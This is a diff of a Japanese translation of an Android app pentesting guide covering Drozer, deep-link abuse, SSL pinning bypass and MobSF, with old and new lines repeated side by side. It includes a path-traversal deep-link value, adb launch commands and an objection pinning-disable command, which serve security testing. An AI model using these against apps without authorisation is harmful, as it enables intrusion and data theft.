ほとんどのアプリケーションは、Google AdSenseなどの他のサービスを使用していますが、時には**機密データ**またはそのサービスに送信する必要のないデータが**漏洩する**ことがあります。これは、開発者が機能を適切に実装していないために起こる可能性があります。アプリケーションのトラフィックを**傍受して調べる**ことで、機密データが第三者に送信されているかどうかを確認できます。
|
||||
|
||||
ほとんどのアプリケーションは、情報を保存するために**内部のSQLiteデータベース**を使用します。ペントスト中に作成された**データベース**の名前、**テーブル**と**カラム**の名前、および保存されている**データ**を確認してください。なぜなら、**機密情報**(脆弱性となる可能性がある)を見つけることができるかもしれないからです。\
|
||||
データベースは、`/data/data/the.package.name/databases`のような場所に配置されるはずです。例えば、`/data/data/com.mwr.example.sieve/databases`です。
|
||||
### SQLiteデータベース
|
||||
|
||||
もしデータベースが機密情報を保存しており、**暗号化**されているが、アプリケーション内に**パスワード**が見つかる場合、それはまだ**脆弱性**です。
|
||||
ほとんどのアプリケーションは、情報を保存するために**内部のSQLiteデータベース**を使用します。ペントストで作成された**データベース**、**テーブル**の名前、**列**、および保存されている**データ**を調べることで、**機密情報**(脆弱性となる可能性がある)を見つけることができます。\
|
||||
データベースは、`/data/data/the.package.name/databases`のような場所に配置されるはずです。例:`/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
`.tables`を使用してテーブルを列挙し、`.schema <table_name>`を使用してテーブルのカラムを列挙します。
|
||||
データベースが機密情報を保存しており、**暗号化されている**が、アプリケーション内に**パスワード**が見つかる場合、それは依然として**脆弱性**です。
|
||||
|
||||
### Drozer(Exploit Activities、Content Providers、および Services)
|
||||
`.tables`を使用してテーブルを列挙し、`.schema <table_name>`を使用してテーブルの列を列挙します。
|
||||
|
||||
**Drozer**を使用すると、Androidアプリの役割を**仮定**し、他のアプリとやり取りすることができます。これにより、Androidのプロセス間通信(IPC)メカニズムを利用したり、基礎となるオペレーティングシステムとやり取りしたりするなど、**インストールされたアプリケーションができることは何でもできます**。[Drozerガイド](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)から。
|
||||
### Drozer(エクスプロイトアクティビティ、コンテンツプロバイダー、およびサービス)
|
||||
|
||||
Drozerは、以下のセクションで学ぶように、**エクスポートされたアクティビティ、エクスポートされたサービス、およびコンテンツプロバイダ**を**攻撃**するための便利なツールです。
|
||||
**Drozer**を使用すると、Androidアプリの役割を**仮定**し、他のアプリと対話することができます。Androidのプロセス間通信(IPC)メカニズムを利用したり、基礎となるオペレーティングシステムと対話したりするなど、**インストールされたアプリケーションができることは何でもできます**。[Drozerガイド](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)から。
|
||||
|
||||
### エクスポートされたアクティビティの攻撃
|
||||
Drozerは、以下のセクションで学ぶように、**エクスポートされたアクティビティ、エクスポートされたサービス、およびコンテンツプロバイダー**をエクスプロイトするための便利なツールです。
|
||||
|
||||
### エクスポートされたアクティビティのエクスプロイト
|
||||
|
||||
[**Androidアクティビティとは何かを思い出したい場合は、こちらを読んでください。**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
また、アクティビティのコードは`onCreate`メソッドで始まることを覚えておいてください。
|
||||
|
||||
**認証バイパス**
|
||||
|
||||
アクティビティがエクスポートされている場合、外部のアプリからその画面を呼び出すことができます。したがって、**機密情報**を含むアクティビティが**エクスポート**されている場合、**認証**メカニズムを**バイパス**して**アクセス**することができます。\
|
||||
[Drozerを使用してエクスポートされたアクティビティを攻撃する方法を学びましょう。](drozer-tutorial/#activities)
|
||||
アクティビティがエクスポートされている場合、外部のアプリからその画面を呼び出すことができます。したがって、**機密情報**を含むアクティビティが**エクスポートされている**場合、**認証**メカニズムを**バイパス**して**アクセス**することができます。\
|
||||
[Drozerを使用したエクスポートされたアクティビティのエクスプロイト方法を学びましょう。](drozer-tutorial/#activities)
|
||||
|
||||
また、adbからエクスポートされたアクティビティを起動することもできます:
|
||||
|
||||
|
@ -344,23 +363,23 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
|||
|
||||
[**コンテンツプロバイダとは何かを思い出すにはこちらを読んでください。**](android-applications-basics.md#content-provider)\
|
||||
コンテンツプロバイダは基本的にはデータの共有に使用されます。アプリに利用可能なコンテンツプロバイダがある場合、それらから**機密データ**を抽出することができるかもしれません。また、**SQLインジェクション**や**パストラバーサル**の可能性もテストすることが重要です。これらは脆弱性のある可能性があります。\
|
||||
[**Drozerを使用してコンテンツプロバイダを悪用する方法を学ぶ。**](drozer-tutorial/#content-providers)
|
||||
[**Drozerを使用してコンテンツプロバイダを悪用する方法を学びましょう。**](drozer-tutorial/#content-providers)
|
||||
|
||||
### **サービスの悪用**
|
||||
|
||||
[**サービスとは何かを思い出すにはこちらを読んでください。**](android-applications-basics.md#services)\
|
||||
サービスのアクションは、`onStartCommand`メソッドで開始されます。
|
||||
|
||||
サービスは基本的には**データを受け取り**、**処理**し、**応答**を(またはしない場合もあります)返すものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、コードを**チェック**して、それが何をしているのかを理解し、機密情報の抽出、認証手段のバイパスなどを**動的に**テストする必要があります。\
|
||||
[**Drozerを使用してサービスを悪用する方法を学ぶ。**](drozer-tutorial/#services)
|
||||
サービスは基本的には**データを受け取り**、**処理**し、**応答**(またはしない)を返すものです。したがって、アプリケーションがいくつかのサービスをエクスポートしている場合は、コードを**チェック**して、それが何をしているのかを理解し、機密情報の抽出、認証手段のバイパスなどを**動的に**テストする必要があります。\
|
||||
[**Drozerを使用してサービスを悪用する方法を学びましょう。**](drozer-tutorial/#services)
|
||||
|
||||
### **ブロードキャストレシーバの悪用**
|
||||
|
||||
[**ブロードキャストレシーバとは何かを思い出すにはこちらを読んでください。**](android-applications-basics.md#broadcast-receivers)\
|
||||
ブロードキャストレシーバのアクションは、`onReceive`メソッドで開始されます。
|
||||
|
||||
ブロードキャストレシーバは、特定のタイプのメッセージを待機しています。レシーバがメッセージをどのように処理するかによって、脆弱性がある場合があります。\
|
||||
[**Drozerを使用してブロードキャストレシーバを悪用する方法を学ぶ。**](./#exploiting-broadcast-receivers)
|
||||
ブロードキャストレシーバは、特定のタイプのメッセージを待機しています。レシーバがメッセージをどのように処理するかによって、脆弱性がある可能性があります。\
|
||||
[**Drozerを使用してブロードキャストレシーバを悪用する方法を学びましょう。**](./#exploiting-broadcast-receivers)
|
||||
|
||||
### **スキーム/ディープリンクの悪用**
|
||||
|
||||
|
@ -369,7 +388,7 @@ MobSFのようなツールや[このスクリプト](https://github.com/ashleyki
|
|||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_注意してください。**パッケージ名は省略できます**。モバイルは自動的にそのリンクを開くべきアプリを呼び出します。_
|
||||
_パッケージ名を省略することができます。モバイルは自動的にそのリンクを開くべきアプリを呼び出します。_
|
||||
```markup
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
|
@ -384,49 +403,51 @@ _注意してください。**パッケージ名は省略できます**。モバ
|
|||
|
||||
**機密情報**
|
||||
|
||||
ディープリンクを見つけるたびに、**URLパラメータを介して機密データ(パスワードなど)が送信されていないか**確認してください。なぜなら、他のアプリケーションがディープリンクをなりすましてそのデータを盗む可能性があるからです。
|
||||
ディープリンクを見つけるたびに、URLパラメータを介して機密データ(パスワードなど)が送信されていないかを確認してください。なぜなら、他のアプリケーションがディープリンクをなりすましてそのデータを盗む可能性があるからです。
|
||||
|
||||
**パス内のパラメータ**
|
||||
|
||||
URLのパス内にパラメータを使用しているディープリンクがあるかどうかも**確認する必要があります**。例えば、`https://api.example.com/v1/users/{username}`のような場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value`のようにパストラバーサルを強制することができます。\
|
||||
ただし、アプリケーション内で正しいエンドポイントを見つけることができれば、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更できる場合)、その他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
|
||||
URLのパス内にパラメータを使用しているディープリンクがあるかどうかもチェックする必要があります。例えば、`https://api.example.com/v1/users/{username}`のような場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value`のようにパストラバーサルを強制することができます。\
|
||||
アプリケーション内で正しいエンドポイントを見つけることができれば、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更でき、脆弱性のあるエンドポイントが正しいメソッドを使用している場合)などを引き起こすことができます。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
|
||||
|
||||
**その他の例**
|
||||
|
||||
リンクに関する[興味深いバグ報奨金レポート](https://hackerone.com/reports/855618)。
|
||||
リンクに関する興味深いバグ報奨金レポートは[こちら](https://hackerone.com/reports/855618)です。
|
||||
|
||||
### 不十分なトランスポート層保護
|
||||
|
||||
* **証明書の検査の欠如:** Androidアプリケーションは、自己署名証明書を受け取ることができる証明書の正当性を検証しません。多くのアプリケーションは警告を無視し、任意の自己署名証明書を受け入れます。一部のアプリケーションはHTTP接続を介してトラフィックを送信します。
|
||||
* **弱いハンドシェイクの交渉:** アプリケーションとサーバーはSSL/TLSハンドシェイクを実行しますが、MITM攻撃に対して脆弱な暗号スイートを使用します。したがって、攻撃者は簡単にその接続を復号化できます。
|
||||
* **プライバシー情報の漏洩:** 多くの場合、アプリケーションはセキュアなチャネルを介して認証を行いますが、他のすべての接続は非セキュアなチャネルを介して行います。これは、セッションクッキーやユーザーデータなどの他の機密データが悪意のあるユーザーによって傍受される可能性があるため、アプリケーションのセキュリティには貢献しません。
|
||||
* **証明書の検査の不足:** Androidアプリケーションは、自己署名証明書を受け取ることができることを確認せずに、証明書の正当性を検証しません。多くのアプリケーションは警告を無視し、任意の自己署名証明書を受け入れます。一部のアプリケーションは、トラフィックをHTTP接続経由で送信します。
|
||||
* **弱いハンドシェイクの交渉:** アプリケーションとサーバーはSSL/TLSハンドシェイクを実行しますが、MITM攻撃に対して脆弱な暗号スイートを使用します。したがって、攻撃者は簡単にその接続を復号することができます。
|
||||
* **プライバシー情報の漏洩:** 多くの場合、アプリケーションはセキュアなチャネルを介して認証を行いますが、その他の接続は非セキュアなチャネルを介して行います。これは、セッションクッキーやユーザーデータなどの他の機密データが悪意のあるユーザーによって傍受される可能性があるため、アプリケーションのセキュリティには貢献しません。
|
||||
|
||||
提示された3つのシナリオから、**証明書の正当性を検証する方法**について説明します。他の2つのシナリオは、サーバーの**TLS設定**とアプリケーションが**暗号化されていないデータを送信するかどうか**に依存します。ペンテスターは、サーバーのTLS設定を自分でチェックし、**機密情報が暗号化されていない/脆弱な**チャネルを介して送信されていないかを検出する必要があります。\
|
||||
この種の脆弱性を発見し修正する方法の詳細は[**こちら**](https://manifestsecurity.com/android-application-security-part-10/)を参照してください。
|
||||
提示された3つのシナリオから、**証明書の正当性を検証する方法**について説明します。他の2つのシナリオは、サーバーの**TLS設定**とアプリケーションが**暗号化されていないデータを送信**しているかどうかに依存します。ペンテスターは、サーバーのTLS設定を自分でチェックし([こちら](../../network-services-pentesting/pentesting-web/#ssl-tls-vulnerabilites)を参照)、**機密情報が暗号化されていない/脆弱な**チャネルを介して送信されていないかを検出する必要があります。\
|
||||
この種の脆弱性を発見し修正する方法の詳細は、[**こちら**](https://manifestsecurity.com/android-application-security-part-10/)を参照してください。
|
||||
|
||||
**SSLピニング**
|
||||
|
||||
デフォルトでは、SSL接続を行う際に、クライアント(Androidアプリ)はサーバーの証明書が信頼された(ルート)証明書に対して検証可能な信頼チェーンを持ち、要求されたホスト名と一致するかどうかをチェックします。これにより、**中間者攻撃(MITM)**の問題が発生します。\
|
||||
デフォルトでは、SSL接続を行う際に、クライアント(Androidアプリ)はサーバーの証明書が信頼された(ルート)証明書に対して検証可能な信頼チェーンを持ち、要求されたホスト名と一致することを確認します。これにより、**中間者攻撃(MITM)**の問題が発生します。\
|
||||
証明書ピニングでは、Androidアプリケーション自体がサーバーの証明書を含み、同じ証明書が提示された場合にのみデータを送信します。\
|
||||
**機密情報が送信されるサイトにはSSLピニングを適用することをお勧めします。**
|
||||
**機密情報が送信される可能性のあるサイトには、SSLピニングを適用することをお勧めします。**
|
||||
|
||||
### HTTPトラフィックの検査
|
||||
|
||||
まず、使用する**プロキシツール**(おそらくBurp)の**証明書をインストール**する必要があります。プロキシツールのCA証明書をインストールしない場合、プロキシで暗号化されたトラフィックは表示されません。\
|
||||
まず、使用する**プロキシ**ツール(おそらくBurp)の**証明書をインストール**する必要があります。プロキシツールのCA証明書をインストールしない場合、プロキシで暗号化されたトラフィックは表示されません。\
|
||||
**カスタムCA証明書のインストール方法については、[このガイドを読んでください](android-burp-suite-settings.md)**。
|
||||
|
||||
**APIレベル24以上を対象とするアプリケーションの場合、デバイスにBurp CA証明書をインストールするだけでは不十分です。この新しい保護をバイパスするには、ネットワークセキュリティ構成ファイルを変更する必要があります。したがって、このファイルを変更してCA証明書を承認するか、[**このページを読んでデバイスにインストールされたすべての証明書を再度受け入れるようにアプリケーションを強制する方法についてのチュートリアルを読んでください**](make-apk-accept-ca-certificate.md)。
|
||||
|
||||
**SSLピニング**
|
||||
|
||||
すでに2つ前でSSLピニングについて説明しました。アプリケーションでSSLピニングが実装されている場合、HTTPSトラフィックを検査するためにはバイパスする必要があります。\
|
||||
すでに2つ前でSSLピニングについて説明しました。アプリケーションでSSLピニングが実装されている場合、HTTPSトラフィックを検査するためには、それをバイパスする必要があります。\
|
||||
ここでは、この保護をバイパスするために使用したいくつかのオプションを紹介します。
|
||||
|
||||
* [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用して、自動的にapkを変更してSSLピニングをバイパスします。このオプションの最大の利点は、SSLピニングをバイパスするためにルート権限が不要であることですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
|
||||
* この保護をバイパスするために**Frida**を使用することもできます(以下で説明します)。Burp+Frida+Genymotionの使用方法については、[こちらのガイド](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)を参照してください。
|
||||
* [**objection**](frida-tutorial/objection-tutorial.md)を使用して、**自動的にSSLピニングをバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* **MobSFの動的解析**を使用して、**自動的にSSLピニングをバイパス**することもできます(以下で説明します)
|
||||
* まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをBurpに
|
||||
* [**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用して、自動的にapkを変更してSSLピニングをバイパスします。このオプションの最大の利点は、SSLピニングをバイパスするためにルート化が必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
|
||||
* この保護をバイパスするために**Frida**を使用することもできます。Burp+Frida+Genymotionの使用方法については、[こちらのガイド](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)を参照してください。
|
||||
* [**objection**](frida-tutorial/objection-tutorial.md)を使用して、**自動的にSSLピニングをバイパス**することもできます: `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* **MobSFの動的解析**を使用して、**自動的にSSLピニングをバイパス**することもできます(以下で説明します)。
|
||||
* キャプチャできていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをburpに転送**することもできます。このブログを読んでください: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
**一般的なWebの脆弱性**
|
||||
|
||||
このステップでは、一般的なWebの脆弱性を探す必要があります。Webの脆弱性に関する多くの情報がこの本に記載されているため、ここでは言及
|
||||
### **Androidアプリケーションアナライザー**
|
||||
|
||||
このツールは、動的解析中にさまざまなツールを管理するのに役立ちます:[https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer)
|
||||
|
@ -435,27 +456,34 @@ URLのパス内にパラメータを使用しているディープリンクが
|
|||
|
||||
この脆弱性は、Webセキュリティの**オープンリダイレクト**に似ています。クラス`Intent`は`Parcelable`であるため、このクラスに属するオブジェクトは、別の`Intent`オブジェクトの**追加データ**として**渡すことができます**。\
|
||||
多くの開発者は、この**機能**を利用して、`startActivity(...)`、`sendBroadcast(...)`などの危険なメソッドに埋め込まれた`Intent`を受け取り、それを渡す**プロキシコンポーネント**(アクティビティ、ブロードキャストレシーバー、サービス)を作成します。\
|
||||
これは危険です。なぜなら、**攻撃者はアプリを強制的に起動できない非公開コンポーネントを起動させる**ことができるだけでなく、アクセス権限を与えることもできるからです。**`WebView`**は、`Intent.parseUri(...)`メソッドを使用して、文字列から`Intent`オブジェクトに**URLを変更**し、それを`startActivity(...)`に渡すこともあります。
|
||||
これは危険です。なぜなら、**攻撃者はアプリを強制的に起動させることができる非公開コンポーネントを起動させる**ことができず、または攻撃者にコンテンツプロバイダへのアクセス権限を与えることができるからです。**`WebView`**も、`Intent.parseUri(...)`メソッドを使用して、文字列から`Intent`オブジェクトに**URLを変更**し、それを`startActivity(...)`に渡すことがあります。
|
||||
|
||||
### Androidクライアントサイドインジェクションとその他
|
||||
|
||||
おそらく、Webからこの種の脆弱性については知っているでしょう。Androidアプリケーションでは、特に次の脆弱性に注意する必要があります:
|
||||
|
||||
* **SQLインジェクション:** 動的クエリやコンテンツプロバイダを扱う場合は、パラメータ化されたクエリを使用していることを確認してください。
|
||||
* **JavaScriptインジェクション(XSS):** 任意のWebViewでJavaScriptとプラグインサポートが無効になっていることを確認してください(デフォルトで無効)。[詳細はこちら](webview-attacks.md#javascript-enabled)。
|
||||
* **ローカルファイルインクルージョン:** 任意のWebViewでファイルシステムアクセスが無効になっていることを確認してください(デフォルトで有効)(`webview.getSettings().setAllowFileAccess(false);`)。[詳細はこちら](webview-attacks.md#javascript-enabled)。
|
||||
* **JavaScriptインジェクション(XSS):** 任意のWebViewでJavaScriptとプラグインサポートが無効になっていることを確認してください(デフォルトで無効になっています)。[詳細はこちら](webview-attacks.md#javascript-enabled)。
|
||||
* **ローカルファイルインクルージョン:** 任意のWebViewでファイルシステムアクセスが無効になっていることを確認してください(デフォルトで有効になっています)(`webview.getSettings().setAllowFileAccess(false);`)。[詳細はこちら](webview-attacks.md#javascript-enabled)。
|
||||
* **永続的なクッキー:** Androidアプリケーションがセッションを終了する場合、クッキーが取り消されない場合があります。また、クッキーがディスクに保存される場合もあります。
|
||||
* [**クッキーのセキュアフラグ**](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**HackenProofをフォロー**](https://bit.ly/3xrrDrL) **でweb3のバグについてもっと学ぶ**
|
||||
**HackenProofはすべての暗号バグ報奨金の場所です。**
|
||||
|
||||
🐞 web3のバグチュートリアルを読む
|
||||
**遅延なしで報酬を受け取る**\
|
||||
HackenProofの報奨金は、顧客が報奨金予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
|
||||
|
||||
🔔 新しいバグ報奨金について通知を受ける
|
||||
**Web3ペントテストの経験を積む**\
|
||||
ブロックチェーンプロトコルとスマートコントラクトは、新しいインターネットです!成長するWeb3セキュリティをマスターしましょう。
|
||||
|
||||
💬 コミュニティディスカッションに参加する
|
||||
**Web3ハッカーレジェンドになる**\
|
||||
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
|
||||
|
||||
[**HackenProofでサインアップ**](https://hackenproof.com/register)して、ハッキングから報酬を得ましょう!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## 自動解析
|
||||
|
||||
|
@ -465,50 +493,51 @@ URLのパス内にパラメータを使用しているディープリンクが
|
|||
|
||||
![](<../../.gitbook/assets/image (61).png>)
|
||||
|
||||
**アプリケーションの脆弱性評価**を行うための素敵なWebベースのフロントエンド。動的解析も実行できます(ただし、環境を準備する必要があります)。
|
||||
**アプリケーションの脆弱性評価**を行うための素晴らしいWebベースのフロントエンド。動的解析も実行できます(ただし、環境を準備する必要があります)。
|
||||
```
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
MobSFは、**Android**(apk)**、IOS**(ipa)、およびWindows**(apx)アプリケーションを分析することができます(Windowsアプリケーションは、WindowsホストにインストールされたMobSFから分析する必要があります)。また、**Android**または**IOS**アプリのソースコードをZIPファイルに作成すると(アプリケーションのルートフォルダに移動し、すべてを選択してZIPファイルを作成する)、それも分析することができます。
|
||||
MobSFは、**Android**(apk)**、IOS**(ipa)、およびWindows**(apx)アプリケーションを分析することができます(Windowsアプリケーションは、WindowsホストにインストールされたMobSFから分析する必要があります)。
|
||||
また、**Android**または**IOS**アプリのソースコードをZIPファイルに作成すると(アプリケーションのルートフォルダに移動し、すべてを選択してZIPファイルを作成する)、それも分析することができます。
|
||||
|
||||
MobSFは、**diff/Compare**分析と**VirusTotal**の統合も可能です(_MobSF/settings.py_にAPIキーを設定し、有効にする必要があります:`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。また、`VT_UPLOAD`を`False`に設定すると、ファイルの代わりに**ハッシュ**がアップロードされます。
|
||||
MobSFは、**diff/Compare**分析や**VirusTotal**の統合も可能です(_MobSF/settings.py_にAPIキーを設定し、有効にする必要があります: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。また、`VT_UPLOAD`を`False`に設定すると、ファイルの代わりに**ハッシュ**がアップロードされます。
|
||||
|
||||
### MobSFによるアシストされたダイナミック分析
|
||||
### MobSFによるアシストされた動的分析
|
||||
|
||||
**MobSF**は、**Android**での**ダイナミック分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要があります(VMやDockerでは動作しません)。_注意:**まずgenymotionでVMを起動**し、**その後にMobSFを起動する必要があります**。_\
|
||||
**MobSFのダイナミックアナライザ**は以下のことができます:
|
||||
**MobSF**は、**Android**での動的分析にも非常に役立ちますが、その場合はMobSFと**genymotion**をホストにインストールする必要があります(VMやDockerでは動作しません)。_注意: **まずgenymotionでVMを起動**し、**その後にMobSFを起動する必要があります**。_
|
||||
**MobSFの動的アナライザ**は以下のことができます:
|
||||
|
||||
* **アプリケーションデータのダンプ**(URL、ログ、クリップボード、自分が作成したスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、電子メール、SQLiteデータベース、XMLファイル、およびその他の作成されたファイル)。これらは自動的に行われますが、スクリーンショットは必要な時に押すか、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"**Exported Activity Tester**"を押す必要があります。
|
||||
* **アプリケーションデータのダンプ**(URL、ログ、クリップボード、自分が作成したスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、およびその他の作成されたファイル)。これらは自動的に行われますが、スクリーンショットは必要な時に押すか、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"**Exported Activity Tester**"を押す必要があります。
|
||||
* **HTTPSトラフィックのキャプチャ**
|
||||
* **Frida**を使用して**ランタイム情報**を取得する
|
||||
|
||||
Androidの**バージョン5以降**では、**自動的にFridaを起動**し、グローバル**プロキシ**設定を**キャプチャ**トラフィックに設定します。テストされたアプリケーションからのトラフィックのみをキャプチャします。
|
||||
Androidの**バージョン5以降**では、**自動的にFridaを起動**し、グローバル**プロキシ**設定を**キャプチャ**トラフィックに設定します。テストされたアプリケーションからのトラフィックのみキャプチャされます。
|
||||
|
||||
**Frida**
|
||||
|
||||
デフォルトでは、**SSLピニング**、**ルート検出**、**デバッガ検出**のバイパス、および**興味深いAPIのモニタリング**のためにいくつかのFridaスクリプトも使用されます。\
|
||||
MobSFはまた、エクスポートされたアクティビティを**呼び出し**、それらのスクリーンショットを**取得**し、レポートに**保存**することもできます。
|
||||
デフォルトでは、Fridaスクリプトを使用して、**SSLピニング**、**ルート検出**、**デバッガ検出**をバイパスし、**興味深いAPI**を監視します。
|
||||
MobSFはまた、エクスポートされたアクティビティを**呼び出し**、それらのスクリーンショットを**取得**してレポートに**保存**することもできます。
|
||||
|
||||
ダイナミックテストを**開始**するには、緑色のボタン "**Start Instrumentation**" を押します。Fridaスクリプトによって生成されたログを表示するには "**Frida Live Logs**" を押し、フックされたメソッドの呼び出し、渡された引数、および返された値を表示するには "**Live API Monitor**" を押します(これは "Start Instrumentation" を押した後に表示されます)。\
|
||||
MobSFはまた、独自の**Fridaスクリプト**をロードすることもできます(Fridayスクリプトの結果をMobSFに送信するには `send()` 関数を使用します)。また、**いくつかの事前に書かれたスクリプト**もロードできます(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加することもできます)。スクリプトを選択し、"**Load**" を押し、"**Start Instrumentation**" を押します(そのスクリプトのログを "**Frida Live Logs**" 内で表示できます)。
|
||||
動的テストを**開始**するには、緑色のボタン "**Start Instrumentation**" を押します。Fridaスクリプトによって生成されたログを表示するには "**Frida Live Logs**" を押し、フックされたメソッドの呼び出し、渡された引数、返された値をすべて表示するには "**Live API Monitor**" を押します(これは "Start Instrumentation" を押した後に表示されます)。
|
||||
MobSFはまた、独自の**Fridaスクリプト**をロードすることもできます(MobSFに結果を送信するためには `send()` 関数を使用します)。また、**いくつかの事前に書かれたスクリプト**もロードできます(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加することもできます)。スクリプトを選択し、"**Load**" を押し、"**Start Instrumentation**" を押します(そのスクリプトのログを "**Frida Live Logs**" 内で確認できます)。
|
||||
|
||||
![](<../../.gitbook/assets/image (215).png>)
|
||||
|
||||
さらに、いくつかの補助的なFrida機能があります:
|
||||
さらに、いくつかの補助的なFrida機能があります:
|
||||
|
||||
* **ロードされたクラスの列挙**:ロードされたすべてのクラスを表示します
|
||||
* **文字列のキャプチャ**:アプリケーションの使用中にキャプチャされたすべての文字列を表示します(非常にノイズが多いです)
|
||||
* **文字列の比較のキャプチャ**:非常に便利です。比較された2つの文字列と結果(TrueまたはFalse)を表示します。
|
||||
* **クラスメソッドの列挙**:クラス名(例:"java.io.File")を入力すると、クラスのすべてのメソッドを表示します。
|
||||
* **クラスパターンの検索**:パターンに一致するクラスを検索します
|
||||
* **クラスメソッドのトレース**:クラス全体をトレースします(クラスのすべてのメソッドの入力と出力を表示します)。デフォルトでは、MobSFはいくつかの興味深いAndroid APIメソッドをトレースします。
|
||||
* **ロードされたクラスの列挙**: ロードされたすべてのクラスを表示します
|
||||
* **文字列のキャプチャ**: アプリケーションの使用中にキャプチャされたすべての文字列を表示します(非常にノイズが多いです)
|
||||
* **文字列の比較のキャプチャ**: 非常に便利です。比較された2つの文字列と結果(TrueまたはFalse)を表示します。
|
||||
* **クラスメソッドの列挙**: クラス名(例: "java.io.File")を入力すると、クラスのすべてのメソッドを表示します。
|
||||
* **クラスパターンの検索**: パターンに一致するクラスを検索します
|
||||
* **クラスメソッドのトレース**: クラス全体をトレースします(クラスのすべてのメソッドの入力と出力を表示します)。デフォルトでは、MobSFはいくつかの興味深いAndroid APIメソッドをトレースします。
|
||||
|
||||
使用する補助モジュールを選択したら、"**Start Intrumentation**" を押して、すべての出力を "**Frida Live Logs**" で確認できます。
|
||||
|
||||
**シェル**
|
||||
|
||||
MobSFには、ダイナミック分析ページの一番下に、いくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェルコマンド**が含まれています。いくつかの興味深いコマンド:
|
||||
MobSFには、動的分析ページの一番下に、いくつかの**adb**コマンド、**MobSFコマンド**、および一般的な**シェルコマンド**が含まれています。いくつかの興味深いコマンド:
|
||||
```
|
||||
help
|
||||
shell ls
|
||||
|
@ -520,7 +549,7 @@ receivers
|
|||
**HTTPツール**
|
||||
|
||||
HTTPトラフィックがキャプチャされると、キャプチャされたトラフィックの見た目は「**HTTP(S) Traffic**」の下にある醜いビューで表示されます。または、「**Start HTTPTools**」の緑色のボタンでより見やすいビューを表示することもできます。2番目のオプションから、キャプチャされたリクエストをBurpやOwasp ZAPのようなプロキシに**送信**することができます。\
|
||||
そのためには、_Burpを起動してください -->_ _Interceptをオフにしてください --> MobSB HTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**" を押してください --> _プロキシアドレスを選択してください_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
||||
そのためには、_Burpを起動してください -->_ _Interceptをオフにしてください --> MobSB HTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**" を押してください --> ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)) のようなプロキシアドレスを選択してください。
|
||||
|
||||
MobSFで動的解析を終えたら、「**Start Web API Fuzzer**」を押して、HTTPリクエストを**ファズ**し、脆弱性を探すことができます。
|
||||
|
||||
|
@ -531,10 +560,10 @@ adb shell settings put global http_proxy :0
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
### Inspeckageを使用したアシストされた動的解析
|
||||
### Inspeckageによるアシストされた動的解析
|
||||
|
||||
[**Inspeckage**](https://github.com/ac-pm/Inspeckage)からツールを入手できます。\
|
||||
このツールは、いくつかの**フック**を使用して、**動的解析**を実行する際にアプリケーションで**何が起こっているかを知る**ことができます。
|
||||
このツールは、**フック**を使用して、**動的解析**を実行する際にアプリケーションで**何が起こっているかを知る**ことができます。
|
||||
|
||||
